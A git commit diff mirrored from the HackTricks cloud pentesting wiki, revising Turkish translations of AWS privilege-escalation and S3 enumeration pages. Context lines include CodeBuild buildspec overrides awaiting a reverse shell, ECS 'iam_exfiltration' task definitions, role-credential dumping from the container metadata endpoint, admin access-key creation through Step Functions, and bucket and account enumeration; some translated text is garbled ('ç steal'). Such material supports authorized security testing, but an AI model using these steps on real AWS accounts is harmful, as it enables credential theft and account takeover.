mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -12,7 +12,7 @@ Daha fazla bilgi için:
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
Bu izinlerden sadece biri ile yeni bir buildspec ile bir build başlatmak ve projeye atanan iam rolünün token'ını çalmak yeterlidir:
|
||||
Bu izinlerden biriyle, yeni bir buildspec ile bir build başlatmak ve projeye atanan iam rolünün token'ını çalmak yeterlidir:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -61,7 +61,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
**Not**: Bu iki komut arasındaki fark şudur:
|
||||
|
||||
- `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler.
|
||||
- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'in paralel olarak çalıştırılması gibi) bir dizi build başlatmanıza olanak tanır.
|
||||
- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir grup build başlatmanıza olanak tanır.
|
||||
|
||||
**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
|
||||
|
||||
@@ -171,14 +171,14 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
|
||||
**Olasılıklı Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
|
||||
|
||||
> [!WARNING]
|
||||
> Bir **Codebuild konteynerinde** dosya `/codebuild/output/tmp/env.sh` **metadata kimlik bilgilerine** erişmek için gereken tüm ortam değişkenlerini içerir.
|
||||
|
||||
> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, şöyle bir şey olacaktır: `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır.
|
||||
|
||||
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemini gerçekleştirebilirsiniz.
|
||||
> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebileceksiniz.
|
||||
|
||||
> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir.
|
||||
|
||||
@@ -302,7 +302,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine** girmek mümkündür.
|
||||
**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür.
|
||||
|
||||
Codebuild projesinin bir kesme noktası olması gerekecek:
|
||||
|
||||
@@ -325,7 +325,7 @@ Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/co
|
||||
|
||||
Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
|
||||
|
||||
Not: Yükseltme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
|
||||
Not: yükselme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -342,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz: **reverse shell**:
|
||||
Bunu **buildspec** gibi bir şey kullanarak **reverse shell** almak için kullanabilirsiniz:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
|
||||
@@ -79,8 +79,8 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Önceki örnekte olduğu gibi, **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanan bir saldırgan, **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **bunu çalıştırabilir**.\
|
||||
Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği olması gerekmektedir.
|
||||
Önceki örnekte olduğu gibi, bir saldırgan **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** izinlerini kötüye kullanarak ECS'de **kötü niyetli bir konteyner** ile **yeni bir görev tanımı** oluşturabilir ve **bunu çalıştırabilir**.\
|
||||
Ancak, bu durumda, kötü niyetli görev tanımını çalıştırmak için bir konteyner örneği gereklidir.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -96,7 +96,7 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan yetki yükseltme.
|
||||
**Potansiyel Etki:** Herhangi bir ECS rolüne doğrudan yetki artırma.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
@@ -140,11 +140,11 @@ aws ecs run-task \
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Bu senaryo, önceki senaryolar gibidir ancak **`iam:PassRole`** izni **olmaksızın**.\
|
||||
Bu hala ilginçtir çünkü eğer keyfi bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümde kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\
|
||||
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve onların kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
|
||||
Bu hala ilginçtir çünkü eğer rastgele bir konteyner çalıştırabiliyorsanız, rol olmadan bile, **düğümden kaçmak için ayrıcalıklı bir konteyner çalıştırabilir** ve **EC2 IAM rolünü** ve düğümde çalışan **diğer ECS konteyner rollerini** **ç steal** edebilirsiniz.\
|
||||
Hatta **ele geçirdiğiniz EC2 örneği içinde diğer görevlerin çalışmasını zorlayabilir** ve kimlik bilgilerini ç steal edebilirsiniz (bununla ilgili [**Düğüm bölümüne privesc**](aws-ecs-privesc.md#privesc-to-node) bakınız).
|
||||
|
||||
> [!WARNING]
|
||||
> Bu saldırı yalnızca **ECS kümesi EC2** örnekleri kullanıyorsa ve Fargate değilse mümkündür.
|
||||
> Bu saldırı yalnızca **ECS kümesinin EC2** örneklerini kullanması durumunda mümkündür ve Fargate değil.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -192,7 +192,7 @@ Ancak, bunu yapmak için konteyner örneğinin **ExecuteCommand ajanını** çal
|
||||
|
||||
Bu nedenle, saldırgan şunları denemek isteyebilir:
|
||||
|
||||
- **Her çalışan konteynerde bir komut çalıştırmayı dene**
|
||||
- **Her çalışan konteynerde bir komut çalıştırmayı deneyin**
|
||||
```bash
|
||||
# List enableExecuteCommand on each task
|
||||
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
|
||||
@@ -217,7 +217,7 @@ aws ecs execute-command --interactive \
|
||||
|
||||
Bu **seçeneklerin örneklerini** **önceki ECS privesc bölümlerinde** bulabilirsiniz.
|
||||
|
||||
**Olası Etki:** Farklı bir role geçiş yapma, konteynerlere ekli.
|
||||
**Olası Etki:** Farklı bir role geçiş yapma, konteynerlere bağlı.
|
||||
|
||||
### `ssm:StartSession`
|
||||
|
||||
|
||||
@@ -16,7 +16,7 @@ Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebil
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
**Olası Etki**: Zafiyet istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
|
||||
**Olası Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi.
|
||||
|
||||
### `sns:Subscribe`
|
||||
|
||||
|
||||
+8
-8
@@ -25,11 +25,11 @@ Ya da API AWS belgelerine gidip her eylemin belgelerini kontrol edebilirsiniz:
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
**`states:TestState`** & **`iam:PassRole`** izinlerine sahip bir saldırgan, mevcut bir durum makinesi oluşturmadan veya güncellemeden herhangi bir durumu test edebilir ve ona herhangi bir IAM rolü geçirebilir, bu da rollerin izinleriyle diğer AWS hizmetlerine yetkisiz erişimi mümkün kılabilir. Bu izinler bir araya geldiğinde, iş akışlarını manipüle etmekten veri değiştirmeye, veri ihlallerine, kaynak manipülasyonuna ve ayrıcalık yükseltmeye kadar geniş çapta yetkisiz eylemlere yol açabilir.
|
||||
**`states:TestState`** & **`iam:PassRole`** izinlerine sahip bir saldırgan, mevcut bir durum makinesi oluşturmadan veya güncellemeden herhangi bir durumu test edebilir ve ona herhangi bir IAM rolü geçirebilir, bu da rollerin izinleriyle diğer AWS hizmetlerine yetkisiz erişimi mümkün kılabilir. Bu izinler bir araya geldiğinde, iş akışlarını manipüle etmekten veri değiştirmeye, veri ihlallerine, kaynak manipülasyonuna ve ayrıcalık yükseltmeye kadar geniş yetkisiz eylemlere yol açabilir.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu test etmenin nasıl olduğunu göstermektedir. Bu izin veren rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**):
|
||||
Aşağıdaki örnekler, bu izinleri ve AWS ortamının izin veren rolünü kullanarak **`admin`** kullanıcısı için bir erişim anahtarı oluşturan bir durumu test etmenin nasıl yapılacağını göstermektedir. Bu izin veren rol, duruma **`iam:CreateAccessKey`** eylemini gerçekleştirme izni veren herhangi bir yüksek ayrıcalıklı politika ile ilişkilendirilmelidir (örneğin **`arn:aws:iam::aws:policy/AdministratorAccess`**):
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
Bir saldırgan **`states:CreateStateMachine`** & **`iam:PassRole`** izinlerine sahip olduğunda, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleriyle yetkisiz erişim sağlar. Önceki yetki yükseltme tekniğiyle (**`states:TestState`** & **`iam:PassRole`**) karşılaştırıldığında, bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**), böylece durum makinesi üzerinde bir yürütme başlatabilirsiniz.
|
||||
Bir saldırgan **`states:CreateStateMachine`** & **`iam:PassRole`** izinlerine sahip olduğunda, bir durum makinesi oluşturabilir ve ona herhangi bir IAM rolü verebilir, bu da diğer AWS hizmetlerine rol izinleriyle yetkisiz erişim sağlar. Önceki yetki yükseltme tekniğiyle (**`states:TestState`** & **`iam:PassRole`**) karşılaştırıldığında, bu teknik kendiliğinden çalışmaz, ayrıca **`states:StartExecution`** veya **`states:StartSyncExecution`** izinlerine de sahip olmanız gerekir (**`states:StartSyncExecution`** **standart iş akışları için mevcut değildir**, **sadece durum makinelerini ifade etmek için**) durum makinesi üzerinde bir yürütme başlatmak için.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -115,7 +115,7 @@ Aşağıdaki örnekler, **`admin`** kullanıcısı için bir erişim anahtarı o
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Durum makinesi** oluşturmak için **çalıştırılan komut**:
|
||||
- **Durum makinesi** oluşturmak için yürütülen **komut**:
|
||||
```bash
|
||||
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
|
||||
{
|
||||
@@ -138,12 +138,12 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
|
||||
### `states:UpdateStateMachine` & (her zaman gerekli değil) `iam:PassRole`
|
||||
|
||||
**`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir durum makinesinin tanımını değiştirebilir ve ayrıcalık yükseltmesine yol açabilecek ekstra gizli durumlar ekleyebilir. Bu şekilde, meşru bir kullanıcı durum makinesinin yürütmesini başlattığında, bu yeni kötü niyetli gizli durum yürütülecek ve ayrıcalık yükseltmesi başarılı olacaktır.
|
||||
**`states:UpdateStateMachine`** iznine sahip bir saldırgan, bir durum makinesinin tanımını değiştirebilir ve ayrıcalık yükselmesine yol açabilecek ekstra gizli durumlar ekleyebilir. Bu şekilde, meşru bir kullanıcı durum makinesinin yürütmesini başlattığında, bu yeni kötü niyetli gizli durum yürütülecek ve ayrıcalık yükselmesi başarılı olacaktır.
|
||||
|
||||
Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici ise, bir saldırgan 2 durumla karşılaşacaktır:
|
||||
Durum makinesi ile ilişkili IAM Rolü ne kadar izin verici olursa olsun, bir saldırgan 2 durumla karşılaşacaktır:
|
||||
|
||||
1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacaktır, durum makinesi tanımını güncellemek yeterlidir.
|
||||
2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir.
|
||||
1. **İzin Verici IAM Rolü**: Eğer durum makinesi ile ilişkili IAM Rolü zaten izin verici ise (örneğin, **`arn:aws:iam::aws:policy/AdministratorAccess`** politikası eklenmişse), o zaman ayrıcalıkları yükseltmek için **`iam:PassRole`** izni gerekli olmayacaktır çünkü IAM Rolünü güncellemek de gerekli olmayacak, durum makinesi tanımını güncellemek yeterlidir.
|
||||
2. **İzin Vermeyen IAM Rolü**: Önceki durumun aksine, burada bir saldırgan ayrıca **`iam:PassRole`** iznine de ihtiyaç duyacaktır çünkü durum makinesine izin verici bir IAM Rolü ilişkilendirmek için durum makinesi tanımını değiştirmeye ek olarak bu izin gereklidir.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
|
||||
+11
-11
@@ -4,9 +4,9 @@
|
||||
|
||||
## S3 Kamu Bucket'ları
|
||||
|
||||
Bir bucket, **herhangi bir kullanıcının içeriğini listeleyebildiği** durumda **“kamu”** olarak kabul edilir ve **sadece belirli kullanıcılar tarafından listeleme veya yazma işlemlerinin yapılabildiği** durumda **“özel”** olarak kabul edilir.
|
||||
Bir bucket, **herhangi bir kullanıcının** içeriğini listeleyebildiği durumda **“kamu”** olarak kabul edilir ve **sadece belirli kullanıcılar** tarafından **listeleme veya yazma** işlemlerinin yapılabildiği durumda **“özel”** olarak kabul edilir.
|
||||
|
||||
Şirketler, AWS'deki herhangi bir hesapta her şeye veya herkese erişim sağlayan **bucket izinlerini yanlış yapılandırmış** olabilir (yani, herkese). Bu tür yanlış yapılandırmalarda bazı eylemlerin gerçekleştirilemeyeceğini unutmayın, çünkü bucket'ların kendi erişim kontrol listeleri (ACL'ler) olabilir.
|
||||
Şirketler, AWS'deki herhangi bir hesapta her şeye veya herkese erişim sağlayan **bucket izinlerini yanlış yapılandırmış** olabilir (yani, herkese). Bu yanlış yapılandırmalara rağmen, bazı eylemlerin gerçekleştirilemeyeceğini unutmayın, çünkü bucket'ların kendi erişim kontrol listeleri (ACL'ler) olabilir.
|
||||
|
||||
**AWS-S3 yanlış yapılandırması hakkında bilgi edinin:** [**http://flaws.cloud**](http://flaws.cloud/) **ve** [**http://flaws2.cloud/**](http://flaws2.cloud)
|
||||
|
||||
@@ -57,7 +57,7 @@ cat subdomains.txt > /tmp/words-hosts-s3.txt
|
||||
cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
|
||||
cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
|
||||
|
||||
# Saldırı için alan adları ve alt alan adları ile bir listeye dayalı permutasyonlar oluştur
|
||||
# Saldırı için alan adları ve alt alan adları ile bir permutasyon listesi oluştur
|
||||
goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
|
||||
## Önceki araç, alt alanlar için permutasyonlar oluşturma konusunda uzmanlaşmıştır, bu listeyi filtreleyelim
|
||||
<strong>### "." ile biten satırları kaldır
|
||||
@@ -86,7 +86,7 @@ AWS tarafından desteklenen tüm bölgeleri [**https://docs.aws.amazon.com/gener
|
||||
|
||||
#### DNS ile
|
||||
|
||||
Bir bucket'ın bölgesini **`dig`** ve **`nslookup`** ile, keşfedilen IP'nin **DNS isteğini** yaparak alabilirsiniz:
|
||||
Bir bucket'ın bölgesini **`dig`** ve **`nslookup`** kullanarak, keşfedilen IP'nin **DNS isteğini** yaparak alabilirsiniz:
|
||||
```bash
|
||||
dig flaws.cloud
|
||||
;; ANSWER SECTION:
|
||||
@@ -104,11 +104,11 @@ veya kovaya şu adresi ziyaret ederek erişebilirsiniz: `flaws.cloud.s3-us-west-
|
||||
|
||||
#### Deneyerek
|
||||
|
||||
Bir kovaya erişmeye çalıştığınızda, ancak **belirttiğiniz alan adında başka bir bölge** varsa (örneğin, kova `bucket.s3.amazonaws.com` içindeyse ama siz `bucket.s3-website-us-west-2.amazonaws.com` adresine erişmeye çalışıyorsanız, o zaman **doğru konuma yönlendirileceksiniz**:
|
||||
Bir kovaya erişmeye çalıştığınızda, ancak **belirttiğiniz alan adında başka bir bölge varsa** (örneğin, kova `bucket.s3.amazonaws.com` içindeyse ama siz `bucket.s3-website-us-west-2.amazonaws.com` adresine erişmeye çalışıyorsanız, o zaman **doğru konuma yönlendirileceksiniz**:
|
||||
|
||||
.png>)
|
||||
|
||||
### Kovayı Listeleme
|
||||
### Kovanın Enumerasyonu
|
||||
|
||||
Kovanın açıklığını test etmek için bir kullanıcı sadece URL'yi web tarayıcısına girebilir. Özel bir kova "Erişim Reddedildi" yanıtı verir. Kamuya açık bir kova, depolanan ilk 1.000 nesneyi listeleyecektir.
|
||||
|
||||
@@ -128,7 +128,7 @@ Bunu cli ile de kontrol edebilirsiniz:
|
||||
#Opcionally you can select the region if you now it
|
||||
aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile <PROFILE_NAME>] [ --recursive] [--region us-west-2]
|
||||
```
|
||||
Eğer bucket'ın bir alan adı yoksa, onu listelemeye çalışırken **sadece bucket adını** yazın ve tüm AWSs3 alan adını değil. Örnek: `s3://<BUCKETNAME>`
|
||||
Eğer bucket'ın bir alan adı yoksa, onu listelemeye çalışırken **sadece bucket adını** yazın ve tüm AWSs3 alan adını eklemeyin. Örnek: `s3://<BUCKETNAME>`
|
||||
|
||||
### Kamu URL şablonu
|
||||
```
|
||||
@@ -136,7 +136,7 @@ https://{user_provided}.s3.amazonaws.com
|
||||
```
|
||||
### Kamu Bucket'ından Hesap ID'si Almak
|
||||
|
||||
Yeni **`S3:ResourceAccount`** **Politika Koşul Anahtarı**'ndan yararlanarak bir AWS hesabını belirlemek mümkündür. Bu koşul, bir hesabın bulunduğu S3 bucket'a dayalı olarak **erişimi kısıtlar** (diğer hesap tabanlı politikalar, talep eden ilkenin bulunduğu hesaba göre kısıtlar).\
|
||||
Yeni **`S3:ResourceAccount`** **Politika Koşul Anahtarı**'ndan yararlanarak bir AWS hesabını belirlemek mümkündür. Bu koşul, bir hesabın bulunduğu S3 bucket'a dayalı olarak **erişimi kısıtlar** (diğer hesap tabanlı politikalar, talep eden ilkenin bulunduğu hesaba dayalı olarak kısıtlar).\
|
||||
Ve politika **joker karakterler** içerebildiğinden, hesap numarasını **sadece bir rakamda** bulmak mümkündür.
|
||||
|
||||
Bu araç süreci otomatikleştirir:
|
||||
@@ -153,7 +153,7 @@ Bu teknik, API Gateway URL'leri, Lambda URL'leri, Data Exchange veri setleri ile
|
||||
|
||||
### Bir bucket'ın bir AWS hesabına ait olduğunu doğrulama
|
||||
|
||||
[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, bir bucket'ı listeleme izinleriniz varsa, bir istek göndererek bucket'ın ait olduğu accountID'yi doğrulamak mümkündür:
|
||||
[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, **bir bucket'ı listeleme izinleriniz varsa**, bucket'ın ait olduğu accountID'yi doğrulamak mümkündür. Bunu yapmak için şu şekilde bir istek gönderebilirsiniz:
|
||||
```bash
|
||||
curl -X GET "[bucketname].amazonaws.com/" \
|
||||
-H "x-amz-expected-bucket-owner: [correct-account-id]"
|
||||
@@ -163,9 +163,9 @@ curl -X GET "[bucketname].amazonaws.com/" \
|
||||
```
|
||||
Eğer hata “Erişim Reddedildi” ise, bu hesap kimliğinin yanlış olduğu anlamına gelir.
|
||||
|
||||
### Root hesap numaralandırması için kullanılan e-postalar
|
||||
### Kök hesap numaralandırması olarak kullanılan e-postalar
|
||||
|
||||
[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, bir e-posta adresinin herhangi bir AWS hesabıyla ilişkili olup olmadığını kontrol etmek mümkündür; **bir S3 bucket üzerinde bir e-posta adresine ACL'ler aracılığıyla izin vermeyi deneyerek**. Eğer bu bir hata tetiklemiyorsa, bu e-postanın bazı AWS hesaplarının root kullanıcısı olduğu anlamına gelir:
|
||||
[**bu blog yazısında**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/) açıklandığı gibi, bir e-posta adresinin herhangi bir AWS hesabıyla ilişkili olup olmadığını **bir S3 kovasına ACL'ler aracılığıyla bir e-posta izni vermeyi deneyerek** kontrol etmek mümkündür. Eğer bu bir hata tetiklemiyorsa, bu e-postanın bazı AWS hesaplarının kök kullanıcısı olduğu anlamına gelir:
|
||||
```python
|
||||
s3_client.put_bucket_acl(
|
||||
Bucket=bucket_name,
|
||||
|
||||
Reference in New Issue
Block a user